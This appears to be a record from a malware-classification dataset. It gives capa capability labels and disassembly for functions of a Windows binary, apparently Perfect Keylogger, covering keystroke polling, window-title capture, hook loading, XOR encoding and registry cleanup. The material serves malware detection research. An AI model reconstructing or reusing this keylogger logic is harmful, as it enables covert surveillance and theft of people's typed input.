joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417973
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 0xc]
cmp byte [esi + 0x2d], 0
je 0x4179e7
mov eax, dword [esi + 0x3c]
xor ebx, ebx
cmp eax, ebx
je 0x41799f
cmp dword [esi + 0x40], edi
jae 0x41799f
push eax
call sub.MFC42.DLL_operatordelete
pop ecx
mov dword [esi + 0x3c], ebx
cmp dword [esi + 0x3c], ebx
jne 0x4179b4
lea eax, [edi + edi]
push eax
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], edi
push edi
push dword [ebp + 8]
push dword [esi + 0x3c]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
test edi, edi
jbe 0x4179e4
mov eax, dword [esi + 0x3c]
mov al, byte [ebx + eax]
push eax
lea eax, [esi + 0x30]
push eax
call fcn.00417516
pop ecx
pop ecx
mov ecx, dword [esi + 0x3c]
mov byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jb 0x4179c7
mov edx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x417a16
mov eax, dword [esi + 0x24]
lea ebx, [eax + edi]
cmp ebx, dword [esi + 0x28]
jb 0x417a02
mov dword [esi + 0x14], 0x30000
jmp 0x417a38
push edi
add eax, ecx
push edx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add dword [esi + 0x24], edi
mov eax, edi
jmp 0x417a3a
mov eax, dword [esi + 4]
test eax, eax
je 0x417a31
lea ecx, [ebp + 8]
push 0
push ecx
push edi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp + 8]
jmp 0x417a3a
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x417df5
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
mov ecx, dword [esi + 0x84]
test ecx, ecx
je 0x417e4b
mov eax, dword [esi + 0x8c]
mov edi, dword [esi + 0x88]
cmp eax, edi
jae 0x417e8d
sub edi, eax
cmp edi, dword [ebp + 0xc]
jbe 0x417e20
mov edi, dword [ebp + 0xc]
add eax, ecx
push edi
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add dword [esi + 0x8c], edi
add dword [esi + 0x74], edi
push edi
push dword [ebp + 8]
push dword [esi + 0x78]
call fcn.00417392
mov dword [esi + 0x78], eax
add esp, 0x18
mov eax, edi
jmp 0x417e8f
mov eax, dword [esi + 0x7c]
test eax, eax
je 0x417e86
lea ecx, [ebp + 0xc]
push 0
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417e8d
mov eax, dword [ebp + 0xc]
add dword [esi + 0x74], eax
push eax
push dword [ebp + 8]
push dword [esi + 0x78]
call fcn.00417392
mov dword [esi + 0x78], eax
mov eax, dword [ebp + 0xc]
add esp, 0xc
jmp 0x417e8f
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop edi
pop esi
pop ebp
ret 8
Function at 0x41ad0e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
push dword [ebp + 8]
mov ebx, eax
mov dword [ebp - 4], ebx
call esi
mov esi, eax
test esi, esi
mov dword [ebp - 8], esi
jne 0x41ad3b
mov eax, dword [ebp + 0x10]
and byte [eax], 0
jmp 0x41ad89
push edi
mov edi, dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, ebx
mov dword [ebp + 0xc], esi
jg 0x41ad53
mov dword [ebp + 0xc], ebx
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x41ad86
mov eax, esi
push 0x19
cdq
idiv dword [ebp - 4]
mov eax, esi
pop ebx
lea ecx, [edx + edi]
cdq
idiv dword [ebp - 8]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
movzx edx, byte [ecx]
xor eax, edx
cdq
idiv ebx
add dl, 0x41
inc esi
cmp esi, dword [ebp + 0xc]
mov byte [ecx], dl
jl 0x41ad5a
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41afe1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea ecx, [ebp - 0x14]
call fcn.0041b133
and dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
push 0x448108
push closesocket
mov dword [ebp - 8], 8
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x448130
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x41b035
mov dword [ebp - 0x10], 5
cmp dword [ebp - 0x10], 0
jge 0x41b03f
and dword [ebp - 0x10], 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x41b04d
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
lea ecx, [ebp - 0x1c]
call fcn.0041b133
lea eax, [ebp - 0xc]
xor edi, edi
push eax
mov dword [ebp - 8], edi
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
lea eax, [ebp - 4]
push eax
push 0x448108
push closesocket
mov dword [ebp - 0x10], 8
mov dword [ebp - 0x14], edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp - 0x10]
mov esi, 0x448130
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41b0b2
mov dword [ebp - 8], 1
cmp dword [ebp - 0x18], edi
jle 0x41b0bd
cmp dword [ebp - 0x18], 5
jle 0x41b0c0
mov dword [ebp - 0x18], edi
push dword [ebp - 0x1c]
push dword [ebp - 0xc]
call dword [sym.imp.MSVCRT.dll_difftime]
fstp qword [esp]
call sub.MSVCRT.dll_fabs
fcom qword [0x448138]
pop ecx
pop ecx
fnstsw ax
sahf
ja 0x41b0e6
cmp dword [ebp - 8], edi
jne 0x41b121
fdiv qword [0x448138]
push ecx
push ecx
fstp qword [esp]
call dword [sym.imp.MSVCRT.dll_floor]
pop ecx
pop ecx
call sub.MSVCRT.dll__ftol
sub dword [ebp - 0x18], eax
jns 0x41b106
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0xc]
push 8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push 3
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x41b123
fstp st(0)
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
leave
ret
Function at 0x41c752
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
or dword [ebp - 4], 0xffffffff
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x10], ebx
je 0x41c93f
cmp dword [esi + 0x18], ebx
je 0x41c93f
cmp dword [esi + 0x14], ebx
je 0x41c93f
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x41c93f
lea eax, [ebp - 0x108]
push eax
push ebx
lea eax, [ebp - 0x20c]
push 0x454804
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x41c93f
lea eax, [ebp - 0x108]
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x41c93f
push edi
lea eax, [ebp - 0x108]
push ebx
push eax
call dword [esi + 0x10]
cmp eax, ebx
mov dword [esi], eax
je 0x41c8f5
mov cx, word [esi + 0xc]
push ebx
push ebx
push ecx
push 0x64
push 0xe
pop edi
push edi
push eax
call dword [esi + 0x14]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [esi + 4], eax
je 0x41c8b1
cmp dword [esi + 0x24], ebx
je 0x41c83d
push 0x4550cc
push dword [esi + 0x1c]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x41c82d
mov eax, dword [esi + 0x20]
jmp 0x41c830
mov eax, dword [esi + 0x1c]
push edi
push eax
mov ecx, esi
call fcn.0041c9a7
cmp eax, ebx
jne 0x41c886
push edi
push str.MAINICON
mov ecx, esi
call fcn.0041c9a7
cmp eax, ebx
jne 0x41c886
or dword [ebp + 0xc], 0xffffffff
lea eax, [ebp + 0xc]
mov ebx, 0x41c989
push eax
push ebx
push edi
push dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
call edi
test eax, eax
je 0x41c8ba
cmp dword [ebp + 0xc], 0
jl 0x41c8ba
movzx eax, word [ebp + 0xc]
push 0xe
push eax
mov ecx, esi
call fcn.0041c9a7
test eax, eax
je 0x41c8f3
xor ebx, ebx
movzx ecx, word [eax + 4]
mov edx, ecx
dec ecx
test edx, edx
je 0x41c8ac
lea edi, [eax + 0x12]
lea ebx, [ecx + 1]
movzx eax, word [edi]
push 3
push eax
mov ecx, esi
call fcn.0041c9a7
add edi, 0xe
dec ebx
jne 0x41c897
xor ebx, ebx
mov dword [ebp - 4], ebx
jmp 0x41c8f5
mov dword [ebp - 4], 1
jmp 0x41c8f5
or dword [ebp + 0xc], 0xffffffff
lea eax, [ebp + 0xc]
push eax
push ebx
push 3
push dword [esi + 4]
call edi
test eax, eax
je 0x41c8ec
cmp dword [ebp + 0xc], 0
jl 0x41c8ec
movzx eax, word [ebp + 0xc]
push 3
push eax
mov ecx, esi
call fcn.0041c9a7
test eax, eax
je 0x41c8ec
and dword [ebp - 4], 0
jmp 0x41c8f3
mov dword [ebp - 4], 2
xor ebx, ebx
mov ecx, esi
call fcn.0041c726
cmp dword [ebp - 4], ebx
pop edi
jne 0x41c91e
push ebx
lea eax, [ebp - 0x108]
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x41c928
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 4], ebx
jge 0x41c928
push ebx
mov ecx, esi
call fcn.0041c947
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
cmp dword [ebp - 4], ebx
sete al
jmp 0x41c941
xor eax, eax
pop esi
pop ebx
leave
ret 8
Function at 0x41c9a7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
je 0x41c9de
push ebx
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41c9de
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x41c9e2
xor eax, eax
jmp 0x41ca06
push ebx
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov ax, word [esi + 0xc]
push edi
push eax
push dword [esp + 0x1c]
push dword [esp + 0x24]
push dword [esi]
call dword [esi + 0x14]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
pop ebx
ret 8
Function at 0x41d816
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x441a60
call fcn.0043e4e0
sub esp, 0x10
push ebx
push esi
push edi
mov edi, 0x448638
mov esi, 0x4558c8
push edi
lea eax, [ebp - 0x18]
push esi
push eax
call sub.MFC42.DLL_operator_4
mov eax, dword [eax]
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x14], eax
sete byte [ebp - 0xd]
call sub.MFC42.DLL_CString::CString
cmp byte [ebp - 0xd], bl
jne 0x41d88f
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x3e4
push dword [ebp + 8]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x14]
test eax, eax
jne 0x41d893
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x41d8be
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea eax, [ebp + 8]
push esi
push eax
call sub.MFC42.DLL_operator_4
push dword [eax]
mov dword [ebp - 4], ebx
call fcn.0042aafa
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
push 1
pop eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x420076
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push esi
mov esi, ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
mov eax, dword [esi + 0x360]
dec eax
cmp byte [ebp + 0xc], 0x20
jne 0x4200b2
cmp eax, 0xffffffff
je 0x4201b1
mov ecx, dword [esi + 0x35c]
cmp byte [ecx + eax], 0xa
jne 0x4200d4
jmp 0x4201b1
cmp byte [ebp + 0xc], 8
jne 0x4200d4
cmp eax, 0xffffffff
je 0x4201b1
push 1
push eax
lea ecx, [esi + 0x358]
call sub.MFC42.DLL_CByteArray::RemoveAt
jmp 0x4201b1
and byte [ebp - 0x230], 0
push edi
push 0x4a
xor eax, eax
pop ecx
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
and byte [ebp - 0x104], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
pop edi
je 0x4201b1
lea eax, [ebp - 0x230]
push 0x12c
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push eax
push ebx
call fcn.00428947
cmp byte [esi + 4], 0
pop ecx
pop ecx
je 0x420154
lea eax, [ebp - 0x104]
mov ecx, esi
push eax
lea eax, [ebp - 0x230]
push eax
call fcn.0042049a
and byte [esi + 4], 0
cmp ebx, dword [esi + 0x354]
je 0x42019a
cmp byte [esi + 4], 0
jne 0x42019a
mov ecx, esi
call fcn.0042064c
test al, al
jne 0x420176
mov ecx, esi
call fcn.004201b7
jmp 0x420185
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x358]
call sub.MFC42.DLL_CByteArray::SetSize
lea eax, [ebp - 0x104]
mov ecx, esi
push eax
lea eax, [ebp - 0x230]
push eax
call fcn.0042049a
push dword [ebp + 0xc]
lea ecx, [esi + 0x358]
push dword [ecx + 8]
call sub.MFC42.DLL_CByteArray::SetAtGrow
mov dword [esi + 0x354], ebx
pop esi
pop ebx
leave
ret 8

Function at 0x420813
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov eax, 0x441f2c
call fcn.0043e4e0
sub esp, 0x4c
push esi
mov esi, ecx
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
movzx eax, byte [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyExA]
shl eax, 0x10
or al, 1
cmp byte [ebp + 8], 0x21
jb 0x420842
cmp byte [ebp + 8], 0x2f
ja 0x420842
or eax, 0x1000000
lea ecx, [ebp - 0x58]
push 0x40
push ecx
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
test eax, eax
je 0x4208bd
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::CString_3
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push 0x5b
push eax
call sub.MFC42.DLL_operator_3
push 0x5d
push eax
lea eax, [ebp + 8]
mov byte [ebp - 4], 1
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
and byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
push dword [ebp - 0x10]
mov ecx, esi
call fcn.004207d4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x421274
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, 0x442134
call fcn.0043e4e0
sub esp, 0x104
push ebx
push esi
xor ebx, ebx
push edi
push ebx
lea eax, [ebp - 0x110]
push 2
mov edi, ecx
push eax
call fcn.0042a660
add esp, 0xc
cmp dword [ebp + 8], ebx
je 0x4213d9
cmp dword [0x455ac0], ebx
jne 0x4213e8
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [0x455ac0], eax
je 0x4213d5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SetHook
push eax
call esi
cmp eax, ebx
mov dword [edi + 0x2750], eax
je 0x4213d5
push str.EnableSpecialKeysLogging
push dword [0x455ac0]
call esi
cmp eax, ebx
mov dword [edi + 0x2760], eax
je 0x4213d5
push str.DLL_GetProjectVersion
push dword [0x455ac0]
call esi
cmp eax, ebx
mov dword [edi + 0x2754], eax
je 0x4213d5
push str.EnablePreHandle
push dword [0x455ac0]
call esi
cmp eax, ebx
mov dword [edi + 0x2758], eax
je 0x4213d5
push str.EnableNTInvisible
push dword [0x455ac0]
call esi
cmp eax, ebx
mov dword [edi + 0x2768], eax
je 0x4213d5
push str.EnableDiaryTracking
push dword [0x455ac0]
call esi
cmp eax, ebx
mov dword [edi + 0x84], eax
je 0x4213d5
push str.EnableAltInterception
push dword [0x455ac0]
call esi
cmp eax, ebx
mov dword [edi + 0x275c], eax
je 0x4213d5
call dword [edi + 0x2754]
cmp eax, 0xc9
je 0x4213bb
lea eax, [ebp + 8]
push 0xe044
push eax
call fcn.00429029
pop ecx
pop ecx
mov eax, dword [eax]
push ebx
push 0x10
push eax
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_AfxMessageBox
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
jmp 0x4213d5
cmp edi, ebx
je 0x4213c2
mov ebx, dword [edi + 0x20]
push ebx
push dword [0x455ac0]
push 1
call dword [edi + 0x2750]
test eax, eax
jne 0x4213e8
xor eax, eax
jmp 0x4213eb
mov edi, dword [edi + 0x2750]
cmp edi, ebx
je 0x4213e8
push ebx
push ebx
push ebx
call edi
push 1
pop eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x4232c4
Capabilities:
Copy file
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x344
lea eax, [ebp - 0x344]
push eax
call fcn.0042a727
test eax, eax
pop ecx
jne 0x4232e0
leave
ret
push ebx
push esi
push edi
push 0x114
lea eax, [ebp - 0x13c]
push 0
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 2
push 0
call edi
mov ebx, dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 4]
call ebx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [ebp - 8]
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x13c]
push 0x4545a8
push eax
call esi
lea eax, [ebp - 0x344]
push eax
lea eax, [ebp - 0x13c]
push eax
call esi
push 0x1e
lea eax, [ebp - 0x28]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x13c]
add esp, 0xc
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x24], 3
mov word [ebp - 0x18], 0x414
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
lea eax, [ebp - 4]
push eax
push 0x17
push 0
call edi
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 4]
call ebx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [ebp - 8]
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
lea eax, [ebp - 0x13c]
push 0x4545a8
push eax
call esi
lea eax, [ebp - 0x344]
push eax
lea eax, [ebp - 0x13c]
push eax
call esi
lea eax, [ebp - 0x13c]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4233ea
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
mov esi, str.Perfect_Keylogger
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 4]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
push reloc.OLEAUT32.dll_SysReAllocString
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
pop edi
pop esi
test eax, eax
jne 0x42342b
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
je 0x42342f
xor eax, eax
leave
ret
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
leave
ret

Function at 0x42343d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push 0xe048
mov esi, ecx
push eax
call fcn.00429029
mov eax, dword [eax]
pop ecx
test esi, esi
pop ecx
je 0x42345d
mov esi, dword [esi + 0x20]
push 1
push 0
push 0
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
pop esi
leave
ret
Function at 0x42348b
Capabilities:
Delete registry value

Disassembly:
mov eax, 0x44260f
call fcn.0043e4e0
sub esp, 0x118
push esi
mov esi, ecx
push 0
lea ecx, [ebp - 0x124]
call fcn.0041b155
and dword [ebp - 4], 0
lea ecx, [ebp - 0x124]
call sub.MFC42.DLL_CDialog::DoModal
cmp eax, 1
jne 0x423542
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x3f
mov dword [esi + 0x2728], eax
push dword [ebp - 0xc0]
lea eax, [esi + 0x1d4c]
push eax
call edi
push 0x3f
lea eax, [esi + 0x1d8c]
push dword [ebp - 0xc4]
push eax
call edi
push 0x4558c8
lea eax, [ebp - 0x14]
push 0x448ffc
push eax
call sub.MFC42.DLL_operator_1
push dword [eax]
lea ecx, [esi + 0x16b8]
mov byte [ebp - 4], 1
call fcn.0040bc5c
and byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x10]
push eax
push str.SoftwareMicrosoftInternet_Explorer
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
pop edi
jne 0x423542
push str.IEPK
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x124]
call fcn.0041b1d9
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x42549e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
xor ebx, ebx
cmp byte [ecx + 0x17f9], bl
je 0x4254be
mov ecx, dword [ecx + 0x60]
cmp ecx, ebx
je 0x4254be
call fcn.0040f1e4
push ebx
lea eax, [ebp - 0x104]
push 4
push eax
call fcn.0042a660
add esp, 0xc
lea eax, [ebp - 0x104]
push ebx
push ebx
push str.nopass
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x20
pop ecx
pop ebx
cmp ecx, eax
sbb eax, eax
neg eax
leave
ret

Function at 0x4257a8
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x4429f4
call fcn.0043e4e0
sub esp, 0xa8
push ebx
push esi
push edi
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString_4
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x34]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CTime::GetAsSystemTime
mov al, byte [0x4550cc]
push 0x1f
mov byte [ebp - 0xb4], al
pop ecx
xor eax, eax
lea edi, [ebp - 0xb3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xb4]
push eax
call fcn.0042a943
lea eax, [ebp - 0x18]
mov dword [esp], 0xe03b
push eax
call fcn.00429029
mov esi, eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.004290db
mov edi, eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00429098
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x1c]
push 0xe054
push eax
mov byte [ebp - 4], 3
call fcn.00429029
add esp, 0x20
push dword [esi]
lea ecx, [ebp - 0xb4]
mov eax, dword [eax]
mov byte [ebp - 4], 4
push dword [ebp + 0x14]
push ecx
mov ecx, dword [ebp + 0xc]
push dword [ebp + 0x10]
push dword [edi]
push dword [ecx]
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x20
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4258e2
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x24]
push ebx
push edx
mov ecx, dword [eax - 8]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4258db
push 1
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, ebx
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret